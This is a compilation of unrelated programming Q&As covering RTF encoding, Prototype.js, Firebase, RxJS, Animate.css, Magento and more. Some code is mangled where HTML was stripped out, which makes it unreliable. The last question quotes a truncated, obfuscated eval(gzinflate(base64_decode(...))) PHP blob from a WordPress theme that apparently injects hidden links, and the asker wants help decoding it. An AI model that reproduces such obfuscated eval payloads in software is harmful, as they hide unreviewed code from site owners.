Q: Specify utf-8 character encoding in RTF? The text (in UTF-8) format is correctly shown in Sqlite How can I set the character encoding in RTF of characters that are in the UTF-8 character encoding format?
I studied similar questions, but did not fiund a good solution. So, I hope you can help.
The content is in a Sqlite database. The text in a Slqite database can only be formatted using UTF-8, UTF-16 or similar. So that's why I have to stick to UTF-8.
The e" is shown correctly using a Sqlite database browser.
The required target program, which can only read RTF, displays the characters in a strange way.
I tried for example:
{\rtf1\ansi\ansicpg0\uc0...
{\rtf1\ansi\ansicpg1252\uc0...
{\rtf1\ansi\ansicpg65001\uc0...

An option is by mapping the special characters to their RTF-char equivalences, as shown in this table.

A: The site you mentioned links to Unicode in RTF:

If the character is between 255 and 32,768, express it as \uc1\unumber*. For example, , character number 21,487, is \uc1\u21487* in RTF.

If the character is between 32,768 and 65,535, subtract 65,536 from it, and use the resulting negative number. For example, is character 36,947, so we subtract 65,536 to get -28,589 and we have \uc1\u-28589* in RTF.

If the character is over 65,535, then we can’t express it in RTF

Looks like RTF doesn't know UTF-8 at all, only Unicode in general. Other answers for Java and C# just use the \u directly.

A: I read in many places that RTF doesn't have a UTF-8 standard solution.
So, I created my own converter after scanning half the internet. If you have a standard/better solution, please let me know!
So after studying this book and I created a converter based on these character mappings. Great resources.
This solved my question. Re-using other solutions is what I would like to do for this kind of features, but I was not able to find one, alas.
The converter could be something like:
public static String convertHtmlToRtf(String html) {
    String tmp = html.replaceAll("\\R", " ")
            .replaceAll("\\\\", "\\\\\\\\")
            .replaceAll("\\{", "\\\\{")
            .replaceAll("}", "\\\\}");
    tmp = tmp.replaceAll("([^<]+?)",
            "{\\\\field{\\\\*\\\\fldinst HYPERLINK \"$1\"}{\\\\fldrslt \\\\plain \\\\f2\\\\b\\\\fs20\\\\cf2 $2}}");
    tmp = tmp.replaceAll("([^<]+?)",
            "{\\\\field{\\\\*\\\\fldinst HYPERLINK \"$1\"}{\\\\fldrslt \\\\plain \\\\f2\\\\b\\\\fs20\\\\cf2 $2}}");

    tmp = tmp.replaceAll("
", "\\\\line{\\\\b\\\\fs30{");
    tmp = tmp.replaceAll("
", "}}\\\\line\\\\line ");
    tmp = tmp.replaceAll("", "{\\\\b{");
    tmp = tmp.replaceAll("", "}}");
    tmp = tmp.replaceAll("", "{\\\\b{");
    tmp = tmp.replaceAll("", "}}");
    tmp = tmp.replaceAll("", "{\\\\i{");
    tmp = tmp.replaceAll("", "}}");
    tmp = tmp.replaceAll("&", "&");
    tmp = tmp.replaceAll(""", "\"");
    tmp = tmp.replaceAll("©", "{\\\\'a9}");
    tmp = tmp.replaceAll("<", "<");
    tmp = tmp.replaceAll(">", ">");
    tmp = tmp.replaceAll("

", "{\\\\pard \\\\par}\\\\line ");
    tmp = tmp.replaceAll("
", "\\\\line ");
    tmp = tmp.replaceAll("
", "\\\\line ");
    tmp = tmp.replaceAll("
]*?>", "{\\\\pard ");
    tmp = tmp.replaceAll("
", " \\\\par}\\\\line ");
    tmp = convertSpecialCharsToRtfCodes(tmp);
    return "{\\rtf1\\ansi\\ansicpg0\\uc0\\deff0\\deflang0\\deflangfe0\\fs20{\\fonttbl{\\f0\\fnil Tahoma;}{\\f1\\fnil Tahoma;}{\\f2\\fnil\\fcharset0 Tahoma;}}{\\colortbl;\\red0\\green0\\blue0;\\red0\\green0\\blue255;\\red0\\green255\\blue0;\\red255\\green0\\blue0;}" + tmp + "}";
}

 private static String convertSpecialCharsToRtfCodes(String input) {
    char[] chars = input.toCharArray();
    StringBuffer sb = new StringBuffer();
    int length = chars.length;
    for (int i = 0; i < length; i++) {
        switch (chars[i]) {
            case '’':
                sb.append("{\\'92}");
                break;
            case '`':
                sb.append("{\\'60}");
                break;
            case '€':
                sb.append("{\\'80}");
                break;
            case '…':
                sb.append("{\\'85}");
                break;
            case '‘':
                sb.append("{\\'91}");
                break;
            case '̕':
                sb.append("{\\'92}");
                break;
            case '“':
                sb.append("{\\'93}");
                break;
            case '”':
                sb.append("{\\'94}");
                break;
            case '•':
                sb.append("{\\'95}");
                break;
            case '–':
            case '‒':
                sb.append("{\\'96}");
                break;
            case '—':
                sb.append("{\\'97}");
                break;
            case '©':
                sb.append("{\\'a9}");
                break;
            case '«':
                sb.append("{\\'ab}");
                break;
            case '±':
                sb.append("{\\'b1}");
                break;
            case '„':
                sb.append("\"");
                break;
            case '´':
                sb.append("{\\'b4}");
                break;
            case '¸':
                sb.append("{\\'b8}");
                break;
            case '»':
                sb.append("{\\'bb}");
                break;
            case '½':
                sb.append("{\\'bd}");
                break;
            case 'Ä':
                sb.append("{\\'c4}");
                break;
            case 'È':
                sb.append("{\\'c8}");
                break;
            case 'É':
                sb.append("{\\'c9}");
                break;
            case 'Ë':
                sb.append("{\\'cb}");
                break;
            case 'Ï':
                sb.append("{\\'cf}");
                break;
            case 'Í':
                sb.append("{\\'cd}");
                break;
            case 'Ó':
                sb.append("{\\'d3}");
                break;
            case 'Ö':
                sb.append("{\\'d6}");
                break;
            case 'Ü':
                sb.append("{\\'dc}");
                break;
            case 'Ú':
                sb.append("{\\'da}");
                break;
            case 'ß':
            case 'β':
                sb.append("{\\'df}");
                break;
            case 'à':
                sb.append("{\\'e0}");
                break;
            case 'á':
                sb.append("{\\'e1}");
                break;
            case 'ä':
                sb.append("{\\'e4}");
                break;
            case 'è':
                sb.append("{\\'e8}");
                break;
            case 'é':
                sb.append("{\\'e9}");
                break;
            case 'ê':
                sb.append("{\\'ea}");
                break;
            case 'ë':
                sb.append("{\\'eb}");
                break;
            case 'ï':
                sb.append("{\\'ef}");
                break;
            case 'í':
                sb.append("{\\'ed}");
                break;
            case 'ò':
                sb.append("{\\'f2}");
                break;
            case 'ó':
                sb.append("{\\'f3}");
                break;
            case 'ö':
                sb.append("{\\'f6}");
                break;
            case 'ú':
                sb.append("{\\'fa}");
                break;
            case 'ü':
                sb.append("{\\'fc}");
                break;
            default:
                if( chars[i] != ' ' && isSpaceChar( chars[i])) {
                    System.out.print( ".");
                    //sb.append("{\\~}");
                    sb.append(" ");
                } else if( chars[i] == 8218) {
                    System.out.println("Strange comma ... ");
                    sb.append(",");
                } else if( chars[i] > 132) {
                    System.err.println( "Special code that is not translated in RTF: '" + chars[i] + "', nummer=" + (int) chars[i]);
                    sb.append(chars[i]);
                } else {
                    sb.append(chars[i]);
                }
        }
    }
    return sb.toString();
}


Q: Why can't i use prototype DOM methods on uninserted nodes in ie? The goal here is to manipulate some DOM nodes before they are inserted into the document, using prototypeJs methods.
Test cases:

In Firefox all 8 tests correctly output either the "stuff" div or a collection containing only the "stuff" div.
In ie (tested in 7/8) I would expect the second two tests only to fail as prototype does not automatically extend the DOM as in ff. However what actually happens is all the tests up to the point the element is inserted fail the two subsequent tests are fine. Once I call Element.extend if would expect the down / select methods to be available.
If this behaviour as expected and if so why?
How would you recommend I do my DOM traversal on nodes which are in memory in a cross browser friendly manner?

So thanks to Kaze no Koe, I've narrowed the issue down. It seems that this does work in ie but not for id selectors.

It's not a problem for me to use class instead of id, so I can solve my original issue but for completeness sake can anyone explain why id selectors won't work before insertion in ie only? My guess would be that the ie implementation relies on document.getElementById whilst the ff one doesn't. Anyone confirm?

A: Instead of:
Element.extend(elt);

Try:
elt = Element.extend(elt);

or
elt = $(elt);

As for how to do the traversing before you've inserted the node, here's some random examples that illustrate a few features of Prototype:
var elt = new Element('div', {
    className: 'someClass'
});

elt.insert(new Element('ul'));

var listitems = ['one', 'two', 'three'];

listitems.each(function(item){
    var elm = new Element('li');
    elm.innerHTML = item;
    elt.down('ul').insert(elm);
});

elt.getElementsBySelector('li'); //=> returns all LIs

elt.down('li'); //=> returns first li

elt.down('ul').down('li'); //=> also returns first li

elt.down('ul').down('li', 2); //=> should return the third if I'm not mistaken

// all before inserting it into the document!

Check the brand new API documentation.

Answering Ollie: my code above can be tested here, as you can see it works under IE 6.

A: I don't think it is possible to select nodes that are not in the document, because the selector depends on the document node.
And you should build new elements this way :
var elt = new Element("div");


Q: How to download file from firebase storage and turn it into .stl file with react? I am trying to download a file I stored on firebase storage and then turn it into an stl file to be later used by ThreeJs.
Currently I am trying to use the following code but it results in a file with 0 size:
const [blobData, setBlobData] = useState([]);
  const storageRef = storageReference(
    storage,
    '/storage/testModel.stl',
  )
  if (blobData.length < 1) {
    getBlob(storageRef).then((data) => {setBlobData(data)});
    var testFile = new File([blobData], "testFile.stl");
  }
  console.log("Outside Loop",testFile);

What the log outside the loop logs is the following:

Is there a better way to do this or can I use this code with changes?

A: I was using the STLLoader from react three fiber and it turnes out you can give the URL from firebase storage directly to this loader.


Q: Is there any limit on number of Listeners(subscription client) of a Subscription created under a topic in Azure Service Bus(pub-sub)? I am looking on using Azure Service Bus topic to publish some messages to my service. I have creted a subscription for my service and have got connection string.
My service(WebApi) is running on large number of instances (1000s). I am thinking of starting the listeners of Azure Service Bus at app start of my service using connection string in all the instances. Are there any issues in running large number of listeners(my service instances) under one Azure Service Bus subscription. I am fine with only one instance receiving the message(This is infact what I prefer).

A: You can checkout all limits wrt Azure Service Bus from here:
https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quotas


Q: Why is typescript trying to load the wrong type definitions? When I try to run typescript on my project I get the following:
# ./node_modules/typescript/bin/tsc --project tsconfig.json
node_modules/@types/webpack/index.d.ts:32:3 - error TS2305: Module '"../../tapable/tapable"' has no exported member 'Tapable'.

32   Tapable,
     ~~~~~~~

node_modules/@types/webpack/index.d.ts:1062:23 - error TS2707: Generic type 'SyncWaterfallHook<T, AdditionalOptions>' requires between 1 and 2 type arguments.

1062             resolver: SyncWaterfallHook;
                           ~~~~~~~~~~~~~~~~~

node_modules/@types/webpack/index.d.ts:1063:22 - error TS2707: Generic type 'SyncWaterfallHook<T, AdditionalOptions>' requires between 1 and 2 type arguments.

1063             factory: SyncWaterfallHook;
                          ~~~~~~~~~~~~~~~~~

node_modules/@types/webpack/index.d.ts:1064:28 - error TS2707: Generic type 'AsyncSeriesWaterfallHook<T, AdditionalOptions>' requires between 1 and 2 type arguments.

1064             beforeResolve: AsyncSeriesWaterfallHook;
                                ~~~~~~~~~~~~~~~~~~~~~~~~

... and so on. 89 errors.
The first line of output suggests it's reading types from ./node_modules/tapable/tapable.d.ts. This types file does not export Tapable; and it exports other types such as AsyncSeriesWaterfallHook with type parameters. So all of this is consistent with the error message.
There's also a file ./node_modules/@types/tapable/index.ts. This does export Tapable. I haven't gone through al the errors, but from the examples I've checked it seems that this types file has exports with the same names but different type parameters, which are consistent with what is declared by webpack.
In other words, the npm module tapable has two conflicting type definition files: one inside its own module and one in the @types/tapable module. Webpack seems to be built for the @types one, but it's trying to validate against the other one.
The package.json for webpack (version 5.24.4) has "tapable": "^2.1.1". tapable has "version": "2.1.1". So they should match.
What's going on? How do I make this compile?

A: I had the same problem in a firebase-functions project. I fixed it by giving the tsconfig.json the property "skipLibCheck" with value true.
See more at https://lifesaver.codes/answer/node-modules-tapable-tapable-has-no-exported-member-tapable-12185


Q: Input Value Substitution Outlook Actionable Messages not passing value So I am using this in Microsoft Flow to generate an actionable email in Outlook.
The card itself works properly and displays properly in Outlook. The problem is the input value substitution for the Action.Http.
It is literally passing "{{newVendorNames.value}}", "{{newVendorDocs.value}}" and "{{existingVendorAction.value}}" instead of the values I enter into the adaptive card. The values are all strings.
Specific line is "body": "{\"newVendorNames\":\"{{newVendorNames.value}}\",\"newVendorDocs\":\"{{newVendorDocs.value}}\",\"existingVendorAction\":\"{{existingVendorAction.value}}\"}"
Did I miss something? Is this a bug?
{
"type": "AdaptiveCard",
"originator":"ORIGINATOR ID",
"body": [
    {
        "type": "TextBlock",
        "size": "medium",
        "weight": "bolder",
        "text": "Month End Close - Response"
    },
    {
        "type": "TextBlock",
        "text": "In order to complete our month-end close, please go through any sections that apply for the current month.",
        "wrap": true
    }
],
"actions": [
    {
        "type": "Action.ShowCard",
        "title": "New Vendor",
        "card": {
            "type": "AdaptiveCard",
            "body": [
                {
                    "type": "TextBlock",
                    "text": "Complete this section **only if** a new vendor or vendors began work in the current month.",
                    "wrap": true,
                    "color": "attention",
                    "size": "medium"
                },
                {
                    "type": "Input.Text",
                    "id": "newVendorNames",
                    "placeholder": "Enter the names of the vendors that began work in the current month.",
                    "isMultiline": true
                },
                {
                    "type": "Input.Toggle",
                    "title": "I have an invoice/SOW/Contract,etc.",
                    "id": "newVendorDocs",
                    "valueOn": "Yes",
                    "valueOff": "No"
                }
            ]
        }
    },
    {
        "type": "Action.ShowCard",
        "title": "Existing Vendors",
        "card": {
            "type": "AdaptiveCard",
            "body": [
                {
                    "type": "TextBlock",
                    "text": "Complete this section **only if** an existing vendor has performed services in the current month.",
                    "wrap": true,
                    "color": "attention",
                    "size": "medium"
                },
                {
                    "type": "TextBlock",
                    "text": "Have all invoices, for work performed in the current month, been submitted to AP?",
                    "wrap": true
                },
                {
                    "type": "Input.ChoiceSet",
                    "choices": [
                        {
                            "title": "Yes all invoices have been submitted.",
                            "value": "No"
                        },
                        {
                            "title": "No they have not been submitted and I have a copy of the invoice(s).",
                            "value": "Obtain invoices."
                        },
                        {
                            "title": "No they have not been submitted, I do not have a copy but I can estimate the cost.",
                            "value": "Dept owner can estimate accrual."
                        },
                        {
                            "title": "No they have not been submitted, I do not have a copy and I cannot estimate the cost.",
                            "value": "Dept owner cannot estimate accrual."
                        }
                    ],
                    "id": "existingVendorAction",
                    "style": "expanded"
                }
            ]
        }
    },
    {
        "type": "Action.Http",
        "title": "Submit Response",
        "method": "POST",
        "headers": [
            {
                "name": "Authorization",
                "value": ""
            },
            {
                "name": "Content-Type",
                "value": "application/json"
            }
        ],
        "url": "https://logic.azure.com:443/DELETED",
        "isPrimary": true,
        "body": "{\"newVendorNames\":\"{{newVendorNames.value}}\",\"newVendorDocs\":\"{{newVendorDocs.value}}\",\"existingVendorAction\":\"{{existingVendorAction.value}}\"}"
    }
],
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
"version": "1.0"

}

A: Try this JSON:
"body": "{\n\"newVendorNames\": \"{{newVendorNames.value}}\",\n\"newVendorDocs\": \"{{newVendorDocs.value}}\",\n\"existingVendorAction\": \"{{existingVendorAction.value}}\"\n}"

You forgot the \n


Q: Unable to import 'rxjs' into angular 5 application I am trying to import
import 'rxjs/add/operator/map';

however, I keep getting the error
"Property 'Map' does not exist on type 'Observable"
I have tried different imports, and different combinations of imports for rxjs. Each one produces the same or a Black-listed error. I have allowed rxjs in tslint.json, but still get the error stated above.
with
Import { Observable } from 'rxjs/Observable';

It gives me: "Module has no exported member 'Observable'"
this is what I am working with:
import { Injectable } from '@angular/core';
import {Http, Response, RequestOptions, Headers} from '@angular/http';
import { Observable } from 'rxjs/Observable';
import 'rxjs/add/operator/map';

@Injectable({
  providedIn: 'root'
})
export class AuthService {
  baseUrl = 'http://localhost:5000/api/auth';
  userToken: any;

constructor(private http: Http) { }

login(model: any) {
  const headers = new Headers({'Content-type': 'application/json'});
  const options = new RequestOptions({headers: headers});
  return this.http.post(this.baseUrl + 'login', model, options).map((response: Response) => {
    const user = response.json();
    if (user) {
      localStorage.setItem('token', user.tokenString);
      this.userToken = user.tokenString;
    }
  });
}
}

A: Your imports should be something like the following in RxJS6:
(1) rxjs: Creation methods, types, schedulers and utilities
import { Observable, Subject } from 'rxjs';

(2) rxjs/operators: All pipeable operators:
import { map, filter, scan } from 'rxjs/operators';

For more information read the migration guide and import paths.
Also use pipe instead of chaining, for example:
 login(model: any) {
  const headers = new Headers({'Content-type': 'application/json'});
  const options = new RequestOptions({headers: headers});
  return this.http.post(this.baseUrl + 'login', model, options).pipe(

    map((response: Response) => {
    const user = response.json();
    if (user) {
      localStorage.setItem('token', user.tokenString);
      this.userToken = user.tokenString;
    }
  }));

}


Q: Animate.CSS Replay? I have an animation using Animate.CSS that I would like to have replay if the user would like but what I have attempted does not work. Here is the code:
HTML:

       Replay

JS:
var $j = jQuery.noConflict();
$j("#replay").click(function() {
    $j('.feature-image').removeClass('animated rotateInDownRight').addClass('animated rotateInDownRight');
});

I do know the script itself works as I can see it happen in Firebug however that animation doesn't animate again. How do I achieve this with Animate.CSS?

A: This is just a guess but it appears that jQuery isn't "finished" removing the class before it adds it back in.  I know this makes NO sense, but it's how JavaScript works.  It can call the next function in the chain before all the stuff from the first one is finished.  I poked around the code on Animate.CSS's site and saw that they use a timeout in their animation function.  You might try the same.  Here's their code:
function testAnim(x) {
    $('#animateTest').removeClass().addClass(x);
    var wait = window.setTimeout( function(){
        $('#animateTest').removeClass()},
        1300
    );
}

What this is doing is exactly like what you are doing except that it waits for the animation to finish, then removes the classes.  That way when the other class is added back in, it is truely "new" to the tag. Here is a slightly modified function:
function testAnim(elementId, animClasses) {
    $(elementId).addClass(animClasses);
    var wait = window.setTimeout( function(){
        $(elementId).removeClass(animClasses)},
        1300
    );
}

Notice two things: First this code would allow you to change what element gets the animation.  Second, you remove the classes you added after 1300 milliseconds.  Still not 100% there, but it might get you further down the road.
It should be noted that if there is already some animation classes on the object it might break this JS.

A: found the right answer at animate.css issue#3
var $at = $('#animateTest').removeClass();
//timeout is important !!
setTimeout(function(){
   $at.addClass('flash')
}, 10);

Actually a simpler version can avoid using JQuery too.
el.classList.remove('animated','flash');
//timeout is important !!
setTimeout(function(){
   el.classList.add('animated','flash');
}, 10);

A: I believe the issue here is that when I remove the class it was adding the class to quickly. Here is how I solved this issue:
(HTML is same as above question).
JS:
var $j = jQuery.noConflict();

window.setTimeout( function(){
   $j('.feature-image').removeClass('animated rotateInDownRight')},
1300);

$j("#replay").click(function() {
    $j('.feature-image').addClass('animated rotateInDownRight');
});

What I believe is happening is the jQuery code is removing and adding the class to quickly. Regardless of the reason this code works.

A: If you wish you can also give a try to this javaScript side development that support animate.css animations. Here is an example of usage.
 //Select the elements to animate and enjoy!
 var elt = document.querySelector("#notification") ;
 iJS.animate(elt, "shake") ;
 //it return an AnimationPlayer object
 //animation iteration and duration can also be indicated.
 var vivifyElt = iJS.animate(elt, "bounce", 3, 500) ;
 vivifyElt.onfinish = function(e) {
     //doSomething ...;
 }
 // less than 1500ms later...changed mind!
 vivifyElt.cancel();

Take a look here

A: My answer is a trick to add/remove the css class with a tint delay:
$('#Box').removeClass('animated').hide().delay(1).queue(function() {
        $(this).addClass('animated').show().dequeue();
});

Also you can test it without hide/show methods:
$('#Box').removeClass('animated').delay(1).queue(function() {
        $(this).addClass('animated').dequeue();
});

I fill it works smooth in chrome but it works with more unexpected delay in FF, so you can test this js timeout:
$('#Box').removeClass('animated');
setTimeout(function(){
    $('#Box').addClass('animated');
}, 1);

A: This solution relies on React useEffect, and it's rather clean, as it avoids manipulating the class names directly.
It doesn't really answers the OP question (which seems to be using jQuery), but it might still be useful to many people using React and Animate CSS library.
  const [repeatAnimation, setRepeatAnimation] = useState<boolean>(true);

  /**
   * When the displayedFrom changes, replay the animations of the component.
   * It toggles the CSS classes injected in the component to force replaying the animations.
   * Uses a short timeout that isn't noticeable to the human eye, but is necessary for the toggle to work properly.
   */
  useEffect(() => {
    setRepeatAnimation(false);
    setTimeout(() => setRepeatAnimation(true), 100);
  }, [displayedFrom]);

  return (
    <div
      className={classnames('block-picker-menu', {
        'animate__animated': repeatAnimation,
        'animate__pulse': repeatAnimation,
      })}
  ...
  )


Q: Assign all products in a category to all it's ancestor categories programmatically, in Magento 2 I am working on a Magento 2.1.7 shop and I have created a child-theme of Magento Blank
The products are organized into categories and subcategories. In other words, they are organized into parent categories and children categories.
Whenever a product is assigned, through the Magento admin, to a child category, I want it to be automatically assigned to all the ancestor categories of that child category.

I want to manually assign all the boot brands in the store to the "Boots" child category add I want all boots to be automatically put, by Magento, in the "Footwear" parent category.
Question: What is the programming solution that would do the job, recursively?

A: There is a simple solution which Magento 2.x provides by default.

*

*Go to Products > Categories.

*Click on the (parent) category in which you want to show the products of the sub-category.

*Under Display Settings, set Yes for Anchor field.

*Save the category, flush Magento's cache and reindex.

Please let me know if the solution works for you.


Q: Selenium Standalone Server in Docker - TimeoutException I tried to execute a WebDriver 3.5 based test with ChromeDriver 2.31 in a Selenium Docker container.
I used this command to start necessary container:
docker run -d -p 4444:4444 -v /dev/shm:/dev/shm selenium/standalone-chrome:3.5.3-astatine

I use RemoteWebDriver to execute testsuite on remote host. It fails with following log:

org.openqa.selenium.TimeoutException: timeout   (Session info:
  chrome=61.0.3163.79)   (Driver info: chromedriver=2.31.488763
  , platform=Linux
  4.10.0-33-generic x86_64) (WARNING: The server did not provide any stacktrace information) Build info: version: '3.5.2', revision: '10229a9', time:
  '2017-08-21T17:29:55.15Z' Driver info:
  org.openqa.selenium.remote.RemoteWebDriver Capabilities
  [{applicationCacheEnabled=false, rotatable=false,
  mobileEmulationEnabled=false, networkConnectionEnabled=false,
  chrome={chromedriverVersion=2.31.488763,
  userDataDir=/tmp/.org.chromium.Chromium.IAkqFG},
  takesHeapSnapshot=true, pageLoadStrategy=normal,
  unhandledPromptBehavior=, databaseEnabled=false, handlesAlerts=true,
  hasTouchScreen=false, version=61.0.3163.79, platform=LINUX,
  browserConnectionEnabled=false, nativeEvents=true,
  acceptSslCerts=true, locationContextEnabled=true,
  webStorageEnabled=true, browserName=chrome, takesScreenshot=true,
  javascriptEnabled=true, cssSelectorsEnabled=true, setWindowRect=true,
  unexpectedAlertBehaviour=}]

I checked web panel on http://:4444/wd/hub/static/resource/hub.html and found, there is a Chrome session, but when I try to take a screenshot I get a blank screen. The test fails when trying to access to this site.
The site uses invalid SSL, so HTTPS connection is insecure, but I use commands below to ignore certificate errors. It is working on local machine.
options.addArguments("--ignore-certificate-errors");
caps.setCapability (CapabilityType.ACCEPT_SSL_CERTS, true);


Q: solr core initialization error I added a new core to solr. It was working perfectly.
Then I modified schema.xml and I cut-paste the matter in this file instead of doing this from terminal. Since than solr is unable to detect this core. I tried to solve this but unfortunately the default core Collection1 is also not initializing.


Q: Exel VBA Array - Type Mismatch I am trying to pass the value of two cells as a concatenated string to adata array, but I am getting a mismatch error. If I only use aData = rData.Value2 the macro works fine. Not sure how to fix  this.
Set ws = x_bs
    sSearchCol = "C"
    sfind = ThisWorkbook.Names("dr_co").RefersToRange(1, 1)
    Set rFindText = ws.Columns(sSearchCol).Find(sfind, ws.Cells(ws.Rows.Count, sSearchCol), xlValues, xlWhole, , xlNext)
    If rFindText Is Nothing Then GoTo errHandler
    Set rFindBlank = ws.Range(sSearchCol & 1, rFindText).Find(vbNullString, rFindText, xlValues, xlWhole, , xlPrevious)
    Set rData = ws.Range(rFindBlank.Offset(1), rFindText.Offset(-1))

    If rData.Cells.Count = 1 Then
        ReDim aData(1 To 1, 1 To 1)
        aData(1, 1) = rData.Value2 & " - " & rData.Offset(0, 2).Value2
    Else
        aData = rData.Value2 & " - " & rData.Offset(0, 2).Value2
    End If


Q: Definite or indefinite integral [Beginning calculus question.] From Edwards and Penney (6e) p. 810, worked Example 8:

Suppose that a moving point has given initial position vector $\boldsymbol{r}(0) = 2\boldsymbol{i}$, initial velocity vector $\boldsymbol{v}(0) = i-j$, and acceleration vector $\boldsymbol{a}(t) = \boldsymbol 2i + 6t \boldsymbol j$. Find its position and evolcity at time $t$.
Solution: $$ \boldsymbol{v}(t) = \int \boldsymbol a(t)dt = \int (2\boldsymbol i + 6t\boldsymbol j)dt = 2t\boldsymbol i+3t^2\boldsymbol j + C_1 $$

What I am confused about is how to decide whether to use a definite or indefinite integral here: $ \boldsymbol{v}(t) = \int \boldsymbol a(t)dt $.
I'm imagining taking that as a definite integral from $0$ to $t$. Is that implicitly what is being done here?
Perhaps, also, my question doesn't make sense, in which case an explanation in elementary language would be most helpful.

A: You can use any of them in your problem as initial conditions are given.
If you use indefinite integral you are going to get a constant of integration which can be found by substituting the initial values. If initial values are not given then you go for indefinite integration.
If you use definite integration and use the limits 0 to t then you will get an answer which depends on t and will be the same answer if you were to find it by using indefinite integration by substituting initial values.
By substituting different values of t you can get position and velocity at different times. In indefinite integration you require initial values to be given.
If you are asked to find a function (given the initial conditions) then you can use any of definite or indefinite integration.

A: Note that:
$$
\int_{t_0}^t\left(2\mathbf{i}+6x\mathbf{j} \right) dx= 2t\mathbf{i}+3t^2\mathbf{j}-\left(2t_0\mathbf{i}+3t_0^2\mathbf{j}\right)
$$
that is the same as your result with $C_1=-2t_0\mathbf{i}-3t_0^2\mathbf{j}$.
In this form it is more clear that the constant is a vector, that represent the velocity at an ''initial'' time $t_0$ ( that can be $0$ depending on the given initial conditions) , but the result is essentially the same.


Q: Can't get any Firebase features to work in Javascript Web app Building a simple web app to access data in a Firestore db. My code seems to get stuck as soon as any Firebase function calls are made, but the Firebase console for my project shows reads to the database. I have experience with Firebase in Swift, but not much in Javascript and I'm pretty stumped here. Here's my index.html:
<!doctype html>

    <meta charset="utf-8">
    <title>Endurance Database Access</title>

Endurance Database Access

Client Lookup

    <form>
        <input type="text" id="cli" placeholder="Client name">

    </form>

        <button type="button" id="cli-btn">Search</button>

Any alert after the initializeApp() call won't show, and my search_button event listener isn't displaying any output either.
Here's my package.json as well:
{
  "name": "endurance-database",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "Daniel Licht",
  "license": "ISC",
  "dependencies": {
    "firebase": "^7.14.3"
  }
}


Q: How to remove _format URL suffix from documentation generated by NelmioApiDocBundle? I've installed the NelmioApiDocBundle for my new API-oriented project in Symfony and I can't get rid of the .{_format} suffix that this bundle adds to all my endpoint URLs.
This is how it looks:

My API does not support the _format as suffix. It does support it as a query parameter or by request headers. Because of that, if I try to do a request to this endpoint from the NelmioApiDocBundle sandbox, it gets a 404 error response.
This is my current config.yml section regarding nelmio:
yml
nelmio_api_doc:
    name:                   My API doc
    sandbox:
        enabled:            true
        endpoint:           null
        accept_type:        application/json
        body_format:
            formats:        null
            default_format: json
        request_format:
            formats:
                json:       application/json
                xml:        null
            method:         accept_header
            default_format: json
        authentication:
            name:           bearer
            delivery:       query
    cache:
        enabled:            false
        file:               '%kernel.cache_dir%/api-doc.cache'

A: I've figured it out elsewhere on stackoverflow. It seems that my problem was not related to NelmioApiDocBundle, but to FOSRestBundle. I've had to change only one FOSRest setting in config.yml:
fos_rest:
    routing_loader:
        include_format: false

I've found the solution here


Q: Xcode - Access one view controller from multiple view controllers I have created an app which in total has 4 view controllers. 2 of these are pages that contain content with an (i) button in the top corner which links to an "about" section of the app. Currently I have 2 separate view controllers displaying the same thing (the about page) as I can't get the two view controllers to link to a single one when I click the button on each respectively.
Is there a way for two view controllers to access one view controller without me having to create a different about page for each one?
Thanks heaps

A: First you should set the button's target:
exampleButton addTarget:self action:@selector(buttonAction:) forControlEvents:UIControlEventTouchUpInside;

Then, in the button's method:
-(void)buttonAction:(id)sender
{
AboutViewController *aboutViewController = [[AboutViewController alloc] init];
[self.navigationController pushViewController:aboutViewController animated:YES];
}

Don't forget to add the about view controller's header file
#import "AboutViewController.h"

If you use storyboard, you should change the button's action method with
-(void)buttonAction:(id)sender
{
[self.navigationController performSegueWithIdentifier:@"aboutSegueIdentifier" sender:sender];
}


Q: decoding php code Recuresively i think this is a classic question, i have some encoded php code in a wordpress theme that i want to decode,
the code is responsible for linking to a couple of irrelevant websites, i wanna to replace them with a link to the source website instead.
Edit: due to negative votes, maybe i have to explain more,
i tried replacing eval with echo, remove the whole code, decoding it online,
all these don't work because i always get another encoded string, i want a solution to decode the string iteratively until revealing get the html code.
eval(gzinflate(base64_decode(str_rot13(strrev('==jC9/3aks/9//950fElFo+AhZMoHt5ptamYrSq0F2D9nrc/sBsgZkRIjULvIIa5E0RVGJPIDYErPtxPPVzfh+hlTjjCovI7l2N37C3bPDVxFQ3VrqwHRk4z55vuxZjGro526lFixNQ3ZwmYAA88DzUTzJPk3zwJR9Lsb5VbUg1owEOEGXUL0fVvoTtZWcefoBbqBXK8t/aQTitbtgjJYT3ILq9i8PFvMj9JOp/pcKg/dq55QUPGeaIXyF527EzebhDbKPg5vMLAJchFIHs/NBlNhX4zc08EZ2ppkok7Sgle+uZfLdtf0jB6NFJ1c7qLx39T9msPaYxUH8dTlUEodCvEoeW2awQfph/wwEBr44F9/smLayS4OIAA9ykR6L14YnyZCzV3Wmy2aVDT3SeYn6MadB7v6q1p6+BeLfLUp/OsurpGjnn1Q+XnPFRytt6NaMI5BET/QQwLdzC1IzU0sFncqYvrMWLdOe9R2lNm6+Vj0NYGf3b6IwCzDFhVBk5WF8cuTx+9Q3tsvw28qwvAvB7ry2Ip4W5gHKX2vBMmdHhHh/jSeilWj7CwgBSosAhXNvpB8rKhyS3Tl6W5IuD6oASm4997Qd/Op441vIB9N9LPc7fk4bax7alaa3KC4LbHAjljgKAEeYkCaSbbjpF9S1LPLs3JkXUzjRa813Tvlr5tXpJfAvxDy73FwnWreCR15S+0NLW3mmTwak/MfIChSpyF9m8lZvRHi2ZRO6b+yQQLXXIo9I96Tb96mBKhk6mU6T894UuvZVsEILA1XatLb6+nAeKklBdJunt/af8nklJ2KdObY/+9Z25Khuf1lWCp/vD+XZkNY9J3d9PMHeOOsmMMMV1XpANyiMaaNuCX+HFI6lAqftdo+w8lnsAKc9od/VFk57mZAlupJO5sVrF5hRGkW6+QH7ZyQ1tYAwCD7x0Xm/TV+PFwd6FOM/eGnmmGRQT+Pj+d+3CHHno0xNVRFiblvBHCw8xqVJjMfhtSolrGO/f6fCt74mgLzsxzGJNTqGgaPo62JXGOimWY0Yckk1JZiIU9pwP4cpXGuFbdquh8szCXkhgD0mz5bT7YiZTGc+5DloXRSJlQWMfzAQFXWIgdlBmiKKU2XEpGjioGDo50OSSzj+8oCttda1ZpPMaTuj2+cik2PzNByPY5q0tTmfcqE74fEgjDJm7i/H1LZ+Tm/QyzG+x6jxaYssnHOwoecwUkfIaw6QyM3r+1fz